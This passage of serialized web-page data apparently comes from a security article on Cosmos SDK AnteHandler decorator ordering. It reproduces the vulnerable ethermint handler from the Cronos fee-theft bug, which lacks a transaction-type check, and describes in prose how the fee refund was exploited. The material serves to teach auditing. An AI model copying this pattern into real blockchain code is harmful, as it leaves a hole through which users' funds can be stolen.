"type":29,"value":87},{"type":24,"tag":147,"props":85069,"children":85070},{"style":247},[85071],{"type":29,"value":85072},"TxFeeChecker",{"type":24,"tag":147,"props":85074,"children":85075},{"style":235},[85076],{"type":29,"value":12362},{"type":24,"tag":147,"props":85078,"children":85079},{"class":149,"line":281},[85080,85085,85089,85093,85097,85101,85105],{"type":24,"tag":147,"props":85081,"children":85082},{"style":229},[85083],{"type":29,"value":85084},"    NewSetPubKeyDecorator",{"type":24,"tag":147,"props":85086,"children":85087},{"style":235},[85088],{"type":29,"value":480},{"type":24,"tag":147,"props":85090,"children":85091},{"style":247},[85092],{"type":29,"value":41639},{"type":24,"tag":147,"props":85094,"children":85095},{"style":235},[85096],{"type":29,"value":87},{"type":24,"tag":147,"props":85098,"children":85099},{"style":247},[85100],{"type":29,"value":84965},{"type":24,"tag":147,"props":85102,"children":85103},{"style":235},[85104],{"type":29,"value":20789},{"type":24,"tag":147,"props":85106,"children":85107},{"style":154},[85108],{"type":29,"value":85109},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":24,"tag":147,"props":85111,"children":85112},{"class":149,"line":299},[85113,85118,85122,85126,85130,85134],{"type":24,"tag":147,"props":85114,"children":85115},{"style":229},[85116],{"type":29,"value":85117},"    NewValidateSigCountDecorator",{"type":24,"tag":147,"props":85119,"children":85120},{"style":235},[85121],{"type":29,"value":480},{"type":24,"tag":147,"props":85123,"children":85124},{"style":247},[85125],{"type":29,"value":41639},{"type":24,"tag":147,"props":85127,"children":85128},{"style":235},[85129],{"type":29,"value":87},{"type":24,"tag":147,"props":85131,"children":85132},{"style":247},[85133],{"type":29,"value":84965},{"type":24,"tag":147,"props":85135,"children":85136},{"style":235},[85137],{"type":29,"value":12362},{"type":24,"tag":147,"props":85139,"children":85140},{"class":149,"line":308},[85141,85146,85150,85154,85158,85162,85166,85170,85174,85179],{"type":24,"tag":147,"props":85142,"children":85143},{"style":229},[85144],{"type":29,"value":85145},"    NewSigGasConsumeDecorator",{"type":24,"tag":147,"props":85147,"children":85148},{"style":235},[85149],{"type":29,"value":480},{"type":24,"tag":147,"props":85151,"children":85152},{"style":247},[85153],{"type":29,"value":41639},{"type":24,"tag":147,"props":85155,"children":85156},{"style":235},[85157],{"type":29,"value":87},{"type":24,"tag":147,"props":85159,"children":85160},{"style":247},[85161],{"type":29,"value":84965},{"type":24,"tag":147,"props":85163,"children":85164},{"style":235},[85165],{"type":29,"value":546},{"type":24,"tag":147,"props":85167,"children":85168},{"style":247},[85169],{"type":29,"value":41639},{"type":24,"tag":147,"props":85171,"children":85172},{"style":235},[85173],{"type":29,"value":87},{"type":24,"tag":147,"props":85175,"children":85176},{"style":247},[85177],{"type":29,"value":85178},"SigGasConsumer",{"type":24,"tag":147,"props":85180,"children":85181},{"style":235},[85182],{"type":29,"value":12362},{"type":24,"tag":147,"props":85184,"children":85185},{"class":149,"line":317},[85186,85191,85195,85199,85203,85207,85211,85215,85219,85224],{"type":24,"tag":147,"props":85187,"children":85188},{"style":229},[85189],{"type":29,"value":85190},"    NewSigVerificationDecorator",{"type":24,"tag":147,"props":85192,"children":85193},{"style":235},[85194],{"type":29,"value":480},{"type":24,"tag":147,"props":85196,"children":85197},{"style":247},[85198],{"type":29,"value":41639},{"type":24,"tag":147,"props":85200,"children":85201},{"style":235},[85202],{"type":29,"value":87},{"type":24,"tag":147,"props":85204,"children":85205},{"style":247},[85206],{"type":29,"value":84965},{"type":24,"tag":147,"props":85208,"children":85209},{"style":235},[85210],{"type":29,"value":546},{"type":24,"tag":147,"props":85212,"children":85213},{"style":247},[85214],{"type":29,"value":41639},{"type":24,"tag":147,"props":85216,"children":85217},{"style":235},[85218],{"type":29,"value":87},{"type":24,"tag":147,"props":85220,"children":85221},{"style":247},[85222],{"type":29,"value":85223},"SignModeHandler",{"type":24,"tag":147,"props":85225,"children":85226},{"style":235},[85227],{"type":29,"value":12362},{"type":24,"tag":147,"props":85229,"children":85230},{"class":149,"line":332},[85231,85236,85240,85244,85248,85252],{"type":24,"tag":147,"props":85232,"children":85233},{"style":229},[85234],{"type":29,"value":85235},"    NewIncrementSequenceDecorator",{"type":24,"tag":147,"props":85237,"children":85238},{"style":235},[85239],{"type":29,"value":480},{"type":24,"tag":147,"props":85241,"children":85242},{"style":247},[85243],{"type":29,"value":41639},{"type":24,"tag":147,"props":85245,"children":85246},{"style":235},[85247],{"type":29,"value":87},{"type":24,"tag":147,"props":85249,"children":85250},{"style":247},[85251],{"type":29,"value":84965},{"type":24,"tag":147,"props":85253,"children":85254},{"style":235},[85255],{"type":29,"value":12362},{"type":24,"tag":147,"props":85257,"children":85258},{"class":149,"line":350},[85259],{"type":24,"tag":147,"props":85260,"children":85261},{"style":235},[85262],{"type":29,"value":827},{"type":24,"tag":25,"props":85264,"children":85265},{},[85266,85268,85273,85275,85281,85282,85288],{"type":29,"value":85267},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":24,"tag":80,"props":85269,"children":85271},{"className":85270},[],[85272],{"type":29,"value":84803},{"type":29,"value":85274},", such as ",{"type":24,"tag":80,"props":85276,"children":85278},{"className":85277},[],[85279],{"type":29,"value":85280},"SigGasConsumeDecorator",{"type":29,"value":855},{"type":24,"tag":80,"props":85283,"children":85285},{"className":85284},[],[85286],{"type":29,"value":85287},"ConsumeGasForTxSizeDecorator",{"type":29,"value":85289},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":24,"tag":25,"props":85291,"children":85292},{},[85293,85295,85301,85303,85308],{"type":29,"value":85294},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":24,"tag":80,"props":85296,"children":85298},{"className":85297},[],[85299],{"type":29,"value":85300},"msgs",{"type":29,"value":85302}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":24,"tag":80,"props":85304,"children":85306},{"className":85305},[],[85307],{"type":29,"value":84129},{"type":29,"value":85309}," chain.",{"type":24,"tag":43,"props":85311,"children":85313},{"id":85312},"real-world-examples-2",[85314],{"type":29,"value":82273},{"type":24,"tag":25,"props":85316,"children":85317},{},[85318,85320,85325,85327,85334],{"type":29,"value":85319},"An instance of ",{"type":24,"tag":80,"props":85321,"children":85323},{"className":85322},[],[85324],{"type":29,"value":84054},{"type":29,"value":85326}," misuse is a ",{"type":24,"tag":2773,"props":85328,"children":85331},{"href":85329,"rel":85330},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[2777],[85332],{"type":29,"value":85333},"Theft of Fund bug",{"type":29,"value":85335}," that was exploited in a Cronos contract.",{"type":24,"tag":25,"props":85337,"children":85338},{},[85339,85341,85346,85348,85353,85355,85361,85363,85369,85371,85376,85378,85383],{"type":29,"value":85340},"In this scenario, ",{"type":24,"tag":80,"props":85342,"children":85344},{"className":85343},[],[85345],{"type":29,"value":85300},{"type":29,"value":85347}," are multiplexed to different ",{"type":24,"tag":80,"props":85349,"children":85351},{"className":85350},[],[85352],{"type":29,"value":84054},{"type":29,"value":85354}," sets through the user-controlled ",{"type":24,"tag":80,"props":85356,"children":85358},{"className":85357},[],[85359],{"type":29,"value":85360},"ExtensionOptionsEthereumTx",{"type":29,"value":85362}," option. However, due to a lack of tx validation, if a ",{"type":24,"tag":80,"props":85364,"children":85366},{"className":85365},[],[85367],{"type":29,"value":85368},"MsgEthereumTx",{"type":29,"value":85370}," does not have ",{"type":24,"tag":80,"props":85372,"children":85374},{"className":85373},[],[85375],{"type":29,"value":85360},{"type":29,"value":85377}," specified, it will be routed to non-Ethereum ",{"type":24,"tag":80,"props":85379,"children":85381},{"className":85380},[],[85382],{"type":29,"value":84803},{"type":29,"value":85384},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":24,"tag":25,"props":85386,"children":85387},{},[85388],{"type":24,"tag":2773,"props":85389,"children":85392},{"href":85390,"rel":85391},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[2777],[85393],{"type":29,"value":82323},{"type":24,"tag":137,"props":85395,"children":85397},{"code":85396,"language":81748,"meta":7,"className":81749,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[85398],{"type":24,"tag":80,"props":85399,"children":85400},{"__ignoreMap":7},[85401,85417,85442,85466,85483,85508,85534,85559,85582,85598,85654,85695,85721,85728,85774,85781,85827,85843,85873,85908,85960,85977,85985,85992,86021,86037,86045,86071,86079,86086,86098,86132,86178,86190,86197,86204,86211,86250,86257,86264,86271,86279,86286,86310,86334,86362,86387,86395,86428,86435,86447,86478,86533,86546,86554,86562,86570,86610,86618],{"type":24,"tag":147,"props":85402,"children":85403},{"class":149,"line":150},[85404,85408,85413],{"type":24,"tag":147,"props":85405,"children":85406},{"style":218},[85407],{"type":29,"value":81884},{"type":24,"tag":147,"props":85409,"children":85410},{"style":229},[85411],{"type":29,"value":85412}," NewAnteHandler",{"type":24,"tag":147,"props":85414,"children":85415},{"style":235},[85416],{"type":29,"value":9088},{"type":24,"tag":147,"props":85418,"children":85419},{"class":149,"line":160},[85420,85425,85430,85434,85438],{"type":24,"tag":147,"props":85421,"children":85422},{"style":247},[85423],{"type":29,"value":85424},"    ak",{"type":24,"tag":147,"props":85426,"children":85427},{"style":9044},[85428],{"type":29,"value":85429}," evmtypes",{"type":24,"tag":147,"props":85431,"children":85432},{"style":235},[85433],{"type":29,"value":87},{"type":24,"tag":147,"props":85435,"children":85436},{"style":9044},[85437],{"type":29,"value":84965},{"type":24,"tag":147,"props":85439,"children":85440},{"style":235},[85441],{"type":29,"value":1549},{"type":24,"tag":147,"props":85443,"children":85444},{"class":149,"line":169},[85445,85450,85454,85458,85462],{"type":24,"tag":147,"props":85446,"children":85447},{"style":247},[85448],{"type":29,"value":85449},"    bankKeeper",{"type":24,"tag":147,"props":85451,"children":85452},{"style":9044},[85453],{"type":29,"value":85429},{"type":24,"tag":147,"props":85455,"children":85456},{"style":235},[85457],{"type":29,"value":87},{"type":24,"tag":147,"props":85459,"children":85460},{"style":9044},[85461],{"type":29,"value":85038},{"type":24,"tag":147,"props":85463,"children":85464},{"style":235},[85465],{"type":29,"value":1549},{"type":24,"tag":147,"props":85467,"children":85468},{"class":149,"line":178},[85469,85474,85479],{"type":24,"tag":147,"props":85470,"children":85471},{"style":247},[85472],{"type":29,"value":85473},"    evmKeeper",{"type":24,"tag":147,"props":85475,"children":85476},{"style":9044},[85477],{"type":29,"value":85478}," EVMKeeper",{"type":24,"tag":147,"props":85480,"children":85481},{"style":235},[85482],{"type":29,"value":1549},{"type":24,"tag":147,"props":85484,"children":85485},{"class":149,"line":187},[85486,85491,85496,85500,85504],{"type":24,"tag":147,"props":85487,"children":85488},{"style":247},[85489],{"type":29,"value":85490},"    feeGrantKeeper",{"type":24,"tag":147,"props":85492,"children":85493},{"style":9044},[85494],{"type":29,"value":85495}," authante",{"type":24,"tag":147,"props":85497,"children":85498},{"style":235},[85499],{"type":29,"value":87},{"type":24,"tag":147,"props":85501,"children":85502},{"style":9044},[85503],{"type":29,"value":85055},{"type":24,"tag":147,"props":85505,"children":85506},{"style":235},[85507],{"type":29,"value":1549},{"type":24,"tag":147,"props":85509,"children":85510},{"class":149,"line":196},[85511,85516,85521,85525,85530],{"type":24,"tag":147,"props":85512,"children":85513},{"style":247},[85514],{"type":29,"value":85515},"    channelKeeper",{"type":24,"tag":147,"props":85517,"children":85518},{"style":9044},[85519],{"type":29,"value":85520}," channelkeeper",{"type":24,"tag":147,"props":85522,"children":85523},{"style":235},[85524],{"type":29,"value":87},{"type":24,"tag":147,"props":85526,"children":85527},{"style":9044},[85528],{"type":29,"value":85529},"Keeper",{"type":24,"tag":147,"props":85531,"children":85532},{"style":235},[85533],{"type":29,"value":1549},{"type":24,"tag":147,"props":85535,"children":85536},{"class":149,"line":205},[85537,85542,85547,85551,85555],{"type":24,"tag":147,"props":85538,"children":85539},{"style":247},[85540],{"type":29,"value":85541},"    signModeHandler",{"type":24,"tag":147,"props":85543,"children":85544},{"style":9044},[85545],{"type":29,"value":85546}," authsigning",{"type":24,"tag":147,"props":85548,"children":85549},{"style":235},[85550],{"type":29,"value":87},{"type":24,"tag":147,"props":85552,"children":85553},{"style":9044},[85554],{"type":29,"value":85223},{"type":24,"tag":147,"props":85556,"children":85557},{"style":235},[85558],{"type":29,"value":1549},{"type":24,"tag":147,"props":85560,"children":85561},{"class":149,"line":214},[85562,85566,85570,85574,85578],{"type":24,"tag":147,"props":85563,"children":85564},{"style":235},[85565],{"type":29,"value":564},{"type":24,"tag":147,"props":85567,"children":85568},{"style":9044},[85569],{"type":29,"value":84314},{"type":24,"tag":147,"props":85571,"children":85572},{"style":235},[85573],{"type":29,"value":87},{"type":24,"tag":147,"props":85575,"children":85576},{"style":9044},[85577],{"type":29,"value":84054},{"type":24,"tag":147,"props":85579,"children":85580},{"style":235},[85581],{"type":29,"value":6630},{"type":24,"tag":147,"props":85583,"children":85584},{"class":149,"line":272},[85585,85589,85594],{"type":24,"tag":147,"props":85586,"children":85587},{"style":321},[85588],{"type":29,"value":2597},{"type":24,"tag":147,"props":85590,"children":85591},{"style":218},[85592],{"type":29,"value":85593}," func",{"type":24,"tag":147,"props":85595,"children":85596},{"style":235},[85597],{"type":29,"value":9088},{"type":24,"tag":147,"props":85599,"children":85600},{"class":149,"line":281},[85601,85605,85609,85613,85617,85621,85625,85629,85633,85637,85641,85646,85650],{"type":24,"tag":147,"props":85602,"children":85603},{"style":247},[85604],{"type":29,"value":31787},{"type":24,"tag":147,"props":85606,"children":85607},{"style":9044},[85608],{"type":29,"value":84225},{"type":24,"tag":147,"props":85610,"children":85611},{"style":235},[85612],{"type":29,"value":87},{"type":24,"tag":147,"props":85614,"children":85615},{"style":9044},[85616],{"type":29,"value":81933},{"type":24,"tag":147,"props":85618,"children":85619},{"style":235},[85620],{"type":29,"value":546},{"type":24,"tag":147,"props":85622,"children":85623},{"style":247},[85624],{"type":29,"value":84765},{"type":24,"tag":147,"props":85626,"children":85627},{"style":9044},[85628],{"type":29,"value":84225},{"type":24,"tag":147,"props":85630,"children":85631},{"style":235},[85632],{"type":29,"value":87},{"type":24,"tag":147,"props":85634,"children":85635},{"style":9044},[85636],{"type":29,"value":84258},{"type":24,"tag":147,"props":85638,"children":85639},{"style":235},[85640],{"type":29,"value":546},{"type":24,"tag":147,"props":85642,"children":85643},{"style":247},[85644],{"type":29,"value":85645},"sim",{"type":24,"tag":147,"props":85647,"children":85648},{"style":9044},[85649],{"type":29,"value":17669},{"type":24,"tag":147,"props":85651,"children":85652},{"style":235},[85653],{"type":29,"value":1549},{"type":24,"tag":147,"props":85655,"children":85656},{"class":149,"line":299},[85657,85662,85667,85671,85675,85679,85683,85687,85691],{"type":24,"tag":147,"props":85658,"children":85659},{"style":235},[85660],{"type":29,"value":85661},"    ) (",{"type":24,"tag":147,"props":85663,"children":85664},{"style":247},[85665],{"type":29,"value":85666},"newCtx",{"type":24,"tag":147,"props":85668,"children":85669},{"style":9044},[85670],{"type":29,"value":84225},{"type":24,"tag":147,"props":85672,"children":85673},{"style":235},[85674],{"type":29,"value":87},{"type":24,"tag":147,"props":85676,"children":85677},{"style":9044},[85678],{"type":29,"value":81933},{"type":24,"tag":147,"props":85680,"children":85681},{"style":235},[85682],{"type":29,"value":546},{"type":24,"tag":147,"props":85684,"children":85685},{"style":247},[85686],{"type":29,"value":54019},{"type":24,"tag":147,"props":85688,"children":85689},{"style":9044},[85690],{"type":29,"value":20490},{"type":24,"tag":147,"props":85692,"children":85693},{"style":235},[85694],{"type":29,"value":505},{"type":24,"tag":147,"props":85696,"children":85697},{"class":149,"line":308},[85698,85703,85708,85712,85716],{"type":24,"tag":147,"props":85699,"children":85700},{"style":218},[85701],{"type":29,"value":85702},"        var",{"type":24,"tag":147,"props":85704,"children":85705},{"style":247},[85706],{"type":29,"value":85707}," anteHandler",{"type":24,"tag":147,"props":85709,"children":85710},{"style":9044},[85711],{"type":29,"value":84225},{"type":24,"tag":147,"props":85713,"children":85714},{"style":235},[85715],{"type":29,"value":87},{"type":24,"tag":147,"props":85717,"children":85718},{"style":9044},[85719],{"type":29,"value":85720},"AnteHandler\n",{"type":24,"tag":147,"props":85722,"children":85723},{"class":149,"line":317},[85724],{"type":24,"tag":147,"props":85725,"children":85726},{"emptyLinePlaceholder":16},[85727],{"type":29,"value":314},{"type":24,"tag":147,"props":85729,"children":85730},{"class":149,"line":332},[85731,85736,85741,85745,85749,85753,85758,85762,85766,85770],{"type":24,"tag":147,"props":85732,"children":85733},{"style":321},[85734],{"type":29,"value":85735},"        defer",{"type":24,"tag":147,"props":85737,"children":85738},{"style":229},[85739],{"type":29,"value":85740}," Recover",{"type":24,"tag":147,"props":85742,"children":85743},{"style":235},[85744],{"type":29,"value":480},{"type":24,"tag":147,"props":85746,"children":85747},{"style":247},[85748],{"type":29,"value":25884},{"type":24,"tag":147,"props":85750,"children":85751},{"style":235},[85752],{"type":29,"value":87},{"type":24,"tag":147,"props":85754,"children":85755},{"style":229},[85756],{"type":29,"value":85757},"Logger",{"type":24,"tag":147,"props":85759,"children":85760},{"style":235},[85761],{"type":29,"value":23982},{"type":24,"tag":147,"props":85763,"children":85764},{"style":241},[85765],{"type":29,"value":485},{"type":24,"tag":147,"props":85767,"children":85768},{"style":247},[85769],{"type":29,"value":54019},{"type":24,"tag":147,"props":85771,"children":85772},{"style":235},[85773],{"type":29,"value":269},{"type":24,"tag":147,"props":85775,"children":85776},{"class":149,"line":350},[85777],{"type":24,"tag":147,"props":85778,"children":85779},{"emptyLinePlaceholder":16},[85780],{"type":29,"value":314},{"type":24,"tag":147,"props":85782,"children":85783},{"class":149,"line":358},[85784,85789,85793,85797,85801,85805,85809,85814,85818,85823],{"type":24,"tag":147,"props":85785,"children":85786},{"style":247},[85787],{"type":29,"value":85788},"        txWithExtensions",{"type":24,"tag":147,"props":85790,"children":85791},{"style":235},[85792],{"type":29,"value":546},{"type":24,"tag":147,"props":85794,"children":85795},{"style":247},[85796],{"type":29,"value":84351},{"type":24,"tag":147,"props":85798,"children":85799},{"style":241},[85800],{"type":29,"value":82000},{"type":24,"tag":147,"props":85802,"children":85803},{"style":247},[85804],{"type":29,"value":73610},{"type":24,"tag":147,"props":85806,"children":85807},{"style":235},[85808],{"type":29,"value":84364},{"type":24,"tag":147,"props":85810,"children":85811},{"style":9044},[85812],{"type":29,"value":85813},"authante",{"type":24,"tag":147,"props":85815,"children":85816},{"style":235},[85817],{"type":29,"value":87},{"type":24,"tag":147,"props":85819,"children":85820},{"style":9044},[85821],{"type":29,"value":85822},"HasExtensionOptionsTx",{"type":24,"tag":147,"props":85824,"children":85825},{"style":235},[85826],{"type":29,"value":269},{"type":24,"tag":147,"props":85828,"children":85829},{"class":149,"line":397},[85830,85834,85839],{"type":24,"tag":147,"props":85831,"children":85832},{"style":321},[85833],{"type":29,"value":403},{"type":24,"tag":147,"props":85835,"children":85836},{"style":247},[85837],{"type":29,"value":85838}," ok",{"type":24,"tag":147,"props":85840,"children":85841},{"style":235},[85842],{"type":29,"value":6630},{"type":24,"tag":147,"props":85844,"children":85845},{"class":149,"line":421},[85846,85851,85855,85860,85864,85869],{"type":24,"tag":147,"props":85847,"children":85848},{"style":247},[85849],{"type":29,"value":85850},"            opts",{"type":24,"tag":147,"props":85852,"children":85853},{"style":241},[85854],{"type":29,"value":82000},{"type":24,"tag":147,"props":85856,"children":85857},{"style":247},[85858],{"type":29,"value":85859}," txWithExtensions",{"type":24,"tag":147,"props":85861,"children":85862},{"style":235},[85863],{"type":29,"value":87},{"type":24,"tag":147,"props":85865,"children":85866},{"style":229},[85867],{"type":29,"value":85868},"GetExtensionOptions",{"type":24,"tag":147,"props":85870,"children":85871},{"style":235},[85872],{"type":29,"value":13361},{"type":24,"tag":147,"props":85874,"children":85875},{"class":149,"line":435},[85876,85880,85884,85888,85892,85896,85900,85904],{"type":24,"tag":147,"props":85877,"children":85878},{"style":321},[85879],{"type":29,"value":64385},{"type":24,"tag":147,"props":85881,"children":85882},{"style":229},[85883],{"type":29,"value":14183},{"type":24,"tag":147,"props":85885,"children":85886},{"style":235},[85887],{"type":29,"value":480},{"type":24,"tag":147,"props":85889,"children":85890},{"style":247},[85891],{"type":29,"value":54160},{"type":24,"tag":147,"props":85893,"children":85894},{"style":235},[85895],{"type":29,"value":564},{"type":24,"tag":147,"props":85897,"children":85898},{"style":241},[85899],{"type":29,"value":3453},{"type":24,"tag":147,"props":85901,"children":85902},{"style":705},[85903],{"type":29,"value":708},{"type":24,"tag":147,"props":85905,"children":85906},{"style":235},[85907],{"type":29,"value":6630},{"type":24,"tag":147,"props":85909,"children":85910},{"class":149,"line":444},[85911,85916,85921,85925,85930,85934,85938,85942,85947,85951,85956],{"type":24,"tag":147,"props":85912,"children":85913},{"style":321},[85914],{"type":29,"value":85915},"                switch",{"type":24,"tag":147,"props":85917,"children":85918},{"style":247},[85919],{"type":29,"value":85920}," typeURL",{"type":24,"tag":147,"props":85922,"children":85923},{"style":241},[85924],{"type":29,"value":82000},{"type":24,"tag":147,"props":85926,"children":85927},{"style":247},[85928],{"type":29,"value":85929}," opts",{"type":24,"tag":147,"props":85931,"children":85932},{"style":235},[85933],{"type":29,"value":9358},{"type":24,"tag":147,"props":85935,"children":85936},{"style":705},[85937],{"type":29,"value":3173},{"type":24,"tag":147,"props":85939,"children":85940},{"style":235},[85941],{"type":29,"value":55946},{"type":24,"tag":147,"props":85943,"children":85944},{"style":229},[85945],{"type":29,"value":85946},"GetTypeUrl",{"type":24,"tag":147,"props":85948,"children":85949},{"style":235},[85950],{"type":29,"value":34050},{"type":24,"tag":147,"props":85952,"children":85953},{"style":247},[85954],{"type":29,"value":85955},"typeURL",{"type":24,"tag":147,"props":85957,"children":85958},{"style":235},[85959],{"type":29,"value":6630},{"type":24,"tag":147,"props":85961,"children":85962},{"class":149,"line":452},[85963,85968,85973],{"type":24,"tag":147,"props":85964,"children":85965},{"style":321},[85966],{"type":29,"value":85967},"                case",{"type":24,"tag":147,"props":85969,"children":85970},{"style":3534},[85971],{"type":29,"value":85972}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":24,"tag":147,"props":85974,"children":85975},{"style":235},[85976],{"type":29,"value":11192},{"type":24,"tag":147,"props":85978,"children":85979},{"class":149,"line":461},[85980],{"type":24,"tag":147,"props":85981,"children":85982},{"style":154},[85983],{"type":29,"value":85984},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":24,"tag":147,"props":85986,"children":85987},{"class":149,"line":469},[85988],{"type":24,"tag":147,"props":85989,"children":85990},{"emptyLinePlaceholder":16},[85991],{"type":29,"value":314},{"type":24,"tag":147,"props":85993,"children":85994},{"class":149,"line":508},[85995,86000,86004,86008,86012,86017],{"type":24,"tag":147,"props":85996,"children":85997},{"style":247},[85998],{"type":29,"value":85999},"                    anteHandler",{"type":24,"tag":147,"props":86001,"children":86002},{"style":241},[86003],{"type":29,"value":651},{"type":24,"tag":147,"props":86005,"children":86006},{"style":247},[86007],{"type":29,"value":84225},{"type":24,"tag":147,"props":86009,"children":86010},{"style":235},[86011],{"type":29,"value":87},{"type":24,"tag":147,"props":86013,"children":86014},{"style":229},[86015],{"type":29,"value":86016},"ChainAnteDecorators",{"type":24,"tag":147,"props":86018,"children":86019},{"style":235},[86020],{"type":29,"value":9088},{"type":24,"tag":147,"props":86022,"children":86023},{"class":149,"line":572},[86024,86029,86033],{"type":24,"tag":147,"props":86025,"children":86026},{"style":229},[86027],{"type":29,"value":86028},"                        NewEthSetUpContextDecorator",{"type":24,"tag":147,"props":86030,"children":86031},{"style":235},[86032],{"type":29,"value":23982},{"type":24,"tag":147,"props":86034,"children":86035},{"style":154},[86036],{"type":29,"value":84879},{"type":24,"tag":147,"props":86038,"children":86039},{"class":149,"line":591},[86040],{"type":24,"tag":147,"props":86041,"children":86042},{"style":241},[86043],{"type":29,"value":86044},"                        ...\n",{"type":24,"tag":147,"props":86046,"children":86047},{"class":149,"line":632},[86048,86053,86057,86062,86066],{"type":24,"tag":147,"props":86049,"children":86050},{"style":229},[86051],{"type":29,"value":86052},"                        NewEthIncrementSenderSequenceDecorator",{"type":24,"tag":147,"props":86054,"children":86055},{"style":235},[86056],{"type":29,"value":480},{"type":24,"tag":147,"props":86058,"children":86059},{"style":247},[86060],{"type":29,"value":86061},"ak",{"type":24,"tag":147,"props":86063,"children":86064},{"style":235},[86065],{"type":29,"value":20789},{"type":24,"tag":147,"props":86067,"children":86068},{"style":154},[86069],{"type":29,"value":86070},"// innermost AnteDecorator.\n",{"type":24,"tag":147,"props":86072,"children":86073},{"class":149,"line":659},[86074],{"type":24,"tag":147,"props":86075,"children":86076},{"style":235},[86077],{"type":29,"value":86078},"                    )\n",{"type":24,"tag":147,"props":86080,"children":86081},{"class":149,"line":684},[86082],{"type":24,"tag":147,"props":86083,"children":86084},{"emptyLinePlaceholder":16},[86085],{"type":29,"value":314},{"type":24,"tag":147,"props":86087,"children":86088},{"class":149,"line":715},[86089,86094],{"type":24,"tag":147,"props":86090,"children":86091},{"style":321},[86092],{"type":29,"value":86093},"                default",{"type":24,"tag":147,"props":86095,"children":86096},{"style":235},[86097],{"type":29,"value":11192},{"type":24,"tag":147,"props":86099,"children":86100},{"class":149,"line":744},[86101,86106,86110,86114,86119,86123,86128],{"type":24,"tag":147,"props":86102,"children":86103},{"style":321},[86104],{"type":29,"value":86105},"                    return",{"type":24,"tag":147,"props":86107,"children":86108},{"style":247},[86109],{"type":29,"value":31444},{"type":24,"tag":147,"props":86111,"children":86112},{"style":235},[86113],{"type":29,"value":546},{"type":24,"tag":147,"props":86115,"children":86116},{"style":247},[86117],{"type":29,"value":86118},"stacktrace",{"type":24,"tag":147,"props":86120,"children":86121},{"style":235},[86122],{"type":29,"value":87},{"type":24,"tag":147,"props":86124,"children":86125},{"style":229},[86126],{"type":29,"value":86127},"Propagate",{"type":24,"tag":147,"props":86129,"children":86130},{"style":235},[86131],{"type":29,"value":9088},{"type":24,"tag":147,"props":86133,"children":86134},{"class":149,"line":784},[86135,86140,86144,86148,86152,86157,86161,86166,86170,86174],{"type":24,"tag":147,"props":86136,"children":86137},{"style":247},[86138],{"type":29,"value":86139},"                        sdkerrors",{"type":24,"tag":147,"props":86141,"children":86142},{"style":235},[86143],{"type":29,"value":87},{"type":24,"tag":147,"props":86145,"children":86146},{"style":229},[86147],{"type":29,"value":84430},{"type":24,"tag":147,"props":86149,"children":86150},{"style":235},[86151],{"type":29,"value":480},{"type":24,"tag":147,"props":86153,"children":86154},{"style":247},[86155],{"type":29,"value":86156},"sdkerrors",{"type":24,"tag":147,"props":86158,"children":86159},{"style":235},[86160],{"type":29,"value":87},{"type":24,"tag":147,"props":86162,"children":86163},{"style":247},[86164],{"type":29,"value":86165},"ErrUnknownExtensionOptions",{"type":24,"tag":147,"props":86167,"children":86168},{"style":235},[86169],{"type":29,"value":546},{"type":24,"tag":147,"props":86171,"children":86172},{"style":247},[86173],{"type":29,"value":85955},{"type":24,"tag":147,"props":86175,"children":86176},{"style":235},[86177],{"type":29,"value":12362},{"type":24,"tag":147,"props":86179,"children":86180},{"class":149,"line":792},[86181,86186],{"type":24,"tag":147,"props":86182,"children":86183},{"style":3534},[86184],{"type":29,"value":86185},"                        \"rejecting tx with unsupported extension 